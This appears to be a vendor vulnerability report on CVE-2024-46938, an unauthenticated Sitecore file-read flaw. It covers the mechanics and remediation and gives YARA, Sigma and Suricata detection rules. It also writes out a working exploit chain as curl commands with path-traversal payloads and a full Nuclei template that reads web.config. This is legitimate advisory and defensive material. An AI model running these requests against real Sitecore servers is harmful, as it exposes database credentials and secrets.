CVE-2024-46938
Executive Summary
CVE-2024-46938 is a critical unauthenticated arbitrary file read vulnerability affecting Sitecore Experience Platform (XP), Experience Manager (XM), and Experience Commerce (XC) versions 8.0 through 10.4 Initial Release. The vulnerability allows an attacker with no prior authentication to read arbitrary files from the server's filesystem, including sensitive configuration files like web.config which may contain database credentials, API keys, and other secrets. The vulnerability is actively being exploited in the wild, with a high EPSS score of 0.93431, indicating a high probability of exploitation. The provided Nuclei template demonstrates a multi-step exploitation chain that first validates the target, then uses a path traversal in the ValidateXHtml endpoint to leak the web root path, and finally reads the web.config file via a crafted bundle request.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not in an open-source package manager (NPM, PyPI, Go, Ruby) but in a proprietary enterprise CMS platform. The risk is primarily to organizations that self-host Sitecore instances. The supply chain risk is indirect: if an attacker compromises a Sitecore instance, they can pivot to internal networks, access databases, and potentially compromise connected systems.
CVSS Breakdown & Threat Level
- CVSS Score: 7.5 (High)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: None
- Scope: Unchanged
- Confidentiality Impact: High
- Integrity Impact: None
- Availability Impact: None
The vulnerability is rated High due to the ease of exploitation (no authentication, low complexity) and the high impact on confidentiality. An attacker can read sensitive files, potentially leading to full system compromise if credentials are exposed.
Deep Dive & Mechanics
The vulnerability is a path traversal issue in Sitecore's media and bundle handling endpoints. The exploitation chain works as follows:
Validation Step: The attacker sends a GET request to
/-/media/doo-doo.ashx. If the server redirects to/sitecore/service/notfound.aspx, it confirms the target is a Sitecore instance.Path Leak: The attacker sends a POST request to
/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.EditHtml.ValidateXHtml?hdl=awith a crafted__PAGESTATEparameter containing a path traversal payload (/../../x/x). The server attempts to resolve the path and returns an error message that leaks the full filesystem path (e.g.,Could not find a part of the path 'C:\inetpub\wwwroot\sitecore\x\x.txt').File Read: Using the leaked path, the attacker sends a GET request to
/-/speak/v1/bundles/bundle.js?f=<leaked_path>sitecore\shell\client\..\..\..\web.config%23.js. The server processes the path traversal and returns the contents ofweb.configas a JavaScript file. The attacker iterates through a list of common web root paths until a match is found.
The root cause is improper sanitization of user-supplied paths in the ValidateXHtml and bundle loading endpoints, allowing directory traversal sequences (../) to escape the intended directory.
Vulnerable vs. Patched Code
Vulnerable Code (Conceptual):
The vulnerable code likely does not validate or sanitize the __PAGESTATE parameter or the f parameter in the bundle endpoint. It directly uses the user-supplied path in file system operations.
// Vulnerable: No path validation
string path = Request.Form["__PAGESTATE"];
string fullPath = Path.Combine(webRoot, path);
string content = File.ReadAllText(fullPath);
Patched Code (Expected):
A patched version would validate that the resolved path stays within the allowed directory (e.g., the web root) and reject any path containing .. or other traversal sequences.
// Patched: Validate path
string path = Request.Form["__PAGESTATE"];
string fullPath = Path.GetFullPath(Path.Combine(webRoot, path));
if (!fullPath.StartsWith(webRoot, StringComparison.OrdinalIgnoreCase))
{
throw new SecurityException("Invalid path");
}
string content = File.ReadAllText(fullPath);
Exploitation & Lab Setup
Red Team
Prerequisites:
- A vulnerable Sitecore instance (8.0 - 10.4 Initial Release)
- Network access to the target
Exploitation Steps:
- Validate Target:
curl -v "http://target.com/-/media/doo-doo.ashx" 2>&1 | grep -i "location"
Expected response: Location: /sitecore/service/notfound.aspx
- Leak Web Root Path:
curl -X POST "http://target.com/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.EditHtml.ValidateXHtml?hdl=a" \
-d "__PAGESTATE=/../../x/x" 2>&1 | grep -oP "Could not find a part of the path '([^']+)"
Extract the path (e.g., C:\inetpub\wwwroot\sitecore\).
- Read web.config:
curl "http://target.com/-/speak/v1/bundles/bundle.js?f=C:\inetpub\wwwroot\sitecore\shell\client\..\..\..\web.config%23.js"
The response will contain the contents of web.config as a JavaScript file.
Automated Exploitation with Nuclei: The provided Nuclei template automates the entire process. Run it with:
nuclei -t CVE-2024-46938.yaml -u http://target.com
Blue Team
Detection:
- Monitor for requests to
/-/media/doo-doo.ashxfollowed by POST requests toValidateXHtmlwith__PAGESTATEcontaining../. - Monitor for requests to
/-/speak/v1/bundles/bundle.jswithfparameter containingweb.configor other sensitive file names. - Alert on error messages containing "Could not find a part of the path".
Hunting:
- Search web server logs for the pattern
__PAGESTATE=/../../in POST requests. - Look for multiple requests to
bundle.jswith differentfparameters (indicating path brute-forcing).
Prevention:
- Apply input validation and sanitization to all user-supplied paths.
- Use a Web Application Firewall (WAF) to block requests containing
../in the__PAGESTATEorfparameters. - Restrict file system access for the application pool user to only necessary directories.
Indicators of Compromise (IOCs)
Network IOCs:
- GET requests to
/-/media/doo-doo.ashx - POST requests to
/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.EditHtml.ValidateXHtml?hdl=awith__PAGESTATE=/../../x/x - GET requests to
/-/speak/v1/bundles/bundle.js?f=*web.config* - Error messages containing "Could not find a part of the path" in responses
- GET requests to
File System IOCs:
- Unexpected access to
web.configor other configuration files - Temporary files created in the web root (e.g.,
x\x.txt)
- Unexpected access to
Log IOCs:
- HTTP 500 errors with path information in the response body
- Multiple 404 errors for
doo-doo.ashxfrom the same IP (if validation fails)
Detection Engineering
YARA Rule
rule CVE_2024_46938_Sitecore_FileRead {
meta:
description = "Detects exploitation attempts of CVE-2024-46938 in Sitecore"
author = "Valters IT"
date = "2025-04-10"
reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-46938"
hash = "4b0a00483046022100cdd3e9df9f2c8374df5babd61af06f27c2453c9c9a1d631c3fe4004653feecc8022100c910cae4bb8090cfb4c5cfb3a507d555e241033dd61a588a311dd3f30be60b04"
strings:
$s1 = "__PAGESTATE=/../../" ascii wide nocase
$s2 = "ValidateXHtml" ascii wide nocase
$s3 = "bundle.js?f=" ascii wide nocase
$s4 = "web.config" ascii wide nocase
$s5 = "Could not find a part of the path" ascii wide nocase
condition:
any of ($s1, $s2, $s3, $s4, $s5)
}
Sigma Rule
title: CVE-2024-46938 Sitecore Arbitrary File Read Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests attempting to exploit CVE-2024-46938 for arbitrary file read in Sitecore.
author: Valters IT
date: 2025-04-10
references:
- https://nvd.nist.gov/vuln/detail/CVE-2024-46938
- https://www.assetnote.io/resources/research/leveraging-an-order-of-operations-bug-to-achieve-rce-in-sitecore-8-x---10-x
logsource:
category: webserver
product: iis
detection:
selection_validation:
cs-method: 'GET'
cs-uri-stem: '/-/media/doo-doo.ashx'
selection_path_leak:
cs-method: 'POST'
cs-uri-stem: '/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.EditHtml.ValidateXHtml'
cs-uri-query: 'hdl=a'
cs-uri-post: '*__PAGESTATE=/../../*'
selection_file_read:
cs-method: 'GET'
cs-uri-stem: '/-/speak/v1/bundles/bundle.js'
cs-uri-query: '*web.config*'
condition: selection_validation or selection_path_leak or selection_file_read
falsepositives:
- Legitimate use of the ValidateXHtml endpoint (rare)
- Internal monitoring tools
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-46938 Sitecore Arbitrary File Read Attempt"; flow:to_server; content:"GET"; http_method; content:"/-/media/doo-doo.ashx"; http_uri; nocase; sid:1000001; rev:1;)
alert http any any -> any any (msg:"CVE-2024-46938 Sitecore Path Leak Attempt"; flow:to_server; content:"POST"; http_method; content:"/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.EditHtml.ValidateXHtml"; http_uri; nocase; content:"__PAGESTATE=/../../"; http_client_body; nocase; sid:1000002; rev:1;)
alert http any any -> any any (msg:"CVE-2024-46938 Sitecore File Read via Bundle"; flow:to_server; content:"GET"; http_method; content:"/-/speak/v1/bundles/bundle.js"; http_uri; nocase; content:"web.config"; http_uri; nocase; sid:1000003; rev:1;)
Nuclei Template
id: CVE-2024-46938
info:
name: Sitecore Experience Platform <= 10.4 - Arbitrary File Read
author: DhiyaneshDK
severity: high
description: |
An issue was discovered in Sitecore Experience Platform (XP), Experience Manager (XM), and Experience Commerce (XC) 8.0 Initial Release through 10.4 Initial Release. An unauthenticated attacker can read arbitrary files.
impact: |
Unauthenticated attackers can read arbitrary files from the Sitecore server, potentially exposing sensitive configuration and credentials.
remediation: |
Update Sitecore Experience Platform to a version that patches CVE-2024-46938.
reference:
- https://www.assetnote.io/resources/research/leveraging-an-order-of-operations-bug-to-achieve-rce-in-sitecore-8-x---10-x
- https://nvd.nist.gov/vuln/detail/CVE-2024-46938
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2024-46938
epss-score: 0.93431
epss-percentile: 0.99823
cpe: cpe:2.3:a:sitecore:experience_commerce:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 45
vendor: sitecore
product: experience_commerce
shodan-query: http.title:"sitecore"
fofa-query: title="sitecore"
google-query: intitle:"sitecore"
tags: cve,cve2024,sitecore,lfi,rce,vkev,vuln
flow: http(1) && http(2) && http(3)
http:
- method: GET
path:
- "{{BaseURL}}/-/media/doo-doo.ashx"
host-redirects: true
matchers:
- type: word
part: location
words:
- "/sitecore/service/notfound.aspx"
internal: true
- raw:
- |
POST /-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.EditHtml.ValidateXHtml?hdl=a HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
__PAGESTATE=/../../x/x
matchers:
- type: word
part: body
words:
- "Could not find a part of the path"
internal: true
extractors:
- type: regex
name: file_path
group: 1
regex:
- Could not find a part of the path '([^']+)\\x\\x\.txt
internal: true
- raw:
- |
GET /-/speak/v1/bundles/bundle.js?f={{paths}}sitecore\shell\client\..\..\..\web.config%23.js HTTP/1.1
Host: {{Hostname}}
payloads:
paths:
- '{{file_path}}\'
- 'C:\inetpub\wwwroot\sitecore\'
- 'C:\inetpub\wwwroot\sitecore1\'
- 'C:\inetpub\wwwroot\sxa\'
- 'C:\inetpub\wwwroot\XP0.sc\'
- 'C:\inetpub\wwwroot\Sitecore82\'
- 'C:\inetpub\wwwroot\Sitecore81\'
- 'C:\inetpub\wwwroot\Sitecore81u2\'
- 'C:\inetpub\wwwroot\Sitecore7\'
- 'C:\inetpub\wwwroot\Sitecore8\'
- 'C:\inetpub\wwwroot\Sitecore70\'
- 'C:\inetpub\wwwroot\Sitecore71\'
- 'C:\inetpub\wwwroot\Sitecore72\'
- 'C:\inetpub\wwwroot\Sitecore75\'
- 'C:\Websites\spe.dev.local\'
- 'C:\inetpub\wwwroot\SitecoreInstance\'
- 'C:\inetpub\wwwroot\SitecoreSPE_8\'
- 'C:\inetpub\wwwroot\SitecoreSPE_91\'
- 'C:\inetpub\wwwroot\Sitecore9\'
- 'C:\inetpub\wwwroot\sitecore93sc.dev.local\'
- 'C:\inetpub\wwwroot\Sitecore81u3\'
- 'C:\inetpub\wwwroot\sitecore9.sc\'
- 'C:\inetpub\wwwroot\sitecore901xp0.sc\'
- 'C:\inetpub\wwwroot\sitecore9-website\'
- 'C:\inetpub\wwwroot\sitecore93.sc\'
- 'C:\inetpub\wwwroot\'
- 'C:\inetpub\{{Hostname}}.sc\'
- 'C:\inetpub\{{FQDN}}.sc\'
- 'C:\inetpub\{{RDN}}.sc\'
- 'C:\inetpub\{{FQDN}}\'
- 'C:\inetpub\{{RDN}}\'
- 'C:\inetpub\{{Hostname}}\'
- 'C:\inetpub\{{Hostname}}.sitecore\'
- 'C:\inetpub\{{FQDN}}.sitecore\'
- 'C:\inetpub\{{RDN}}.sitecore\'
- 'C:\inetpub\{{Hostname}}.website\'
- 'C:\inetpub\{{FQDN}}.website\'
- 'C:\inetpub\{{RDN}}.website\'
- 'C:\inetpub\{{Hostname}}.dev.local\'
- 'C:\inetpub\{{FQDN}}.dev.local\'
- 'C:\inetpub\{{RDN}}.dev.local\'
- 'C:\inetpub\{{Hostname}}sc.dev.local\'
- 'C:\inetpub\{{FQDN}}sc.dev.local\'
- 'C:\inetpub\{{RDN}}sc.dev.local\'
stop-at-first-match: true
matchers:
- type: dsl
dsl:
- 'contains(body, "<configuration>")'
- 'contains(content_type, "text/javascript")'
- 'status_code == 200'
condition: and
# digest: 4b0a00483046022100cdd3e9df9f2c8374df5babd61af06f27c2453c9c9a1d631c3fe4004653feecc8022100c910cae4bb8090cfb4c5cfb3a507d555e241033dd61a588a311dd3f30be60b04
Remediation & Mitigation
Immediate Actions:
- Isolate affected systems: If possible, take vulnerable Sitecore instances offline or behind a VPN.
- Apply WAF rules: Block requests containing
__PAGESTATE=/../../and requests to/-/speak/v1/bundles/bundle.jswithfparameter containingweb.config. - Monitor logs: Actively monitor for exploitation attempts using the IOCs and detection rules provided.
Long-term Fix:
- Apply vendor patch: Contact Sitecore support for a patched version. If no patch is available, consider upgrading to a version beyond 10.4 Initial Release.
- Code fix: Implement input validation and path sanitization as shown in the "Vulnerable vs. Patched Code" section.
- Least privilege: Ensure the application pool user has minimal file system permissions.
Workarounds:
- Disable the vulnerable endpoints if not needed (e.g., remove the
ValidateXHtmlhandler or restrict access to it via IP whitelisting). - Use URL rewriting to block malicious patterns.
Valters IT
DevSecOps & Cyber Threat Intelligence
This report is provided for authorized security testing and defensive purposes only.
{/* [Security Hash: B2F5585FE023213CE08FC4D0] */}
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.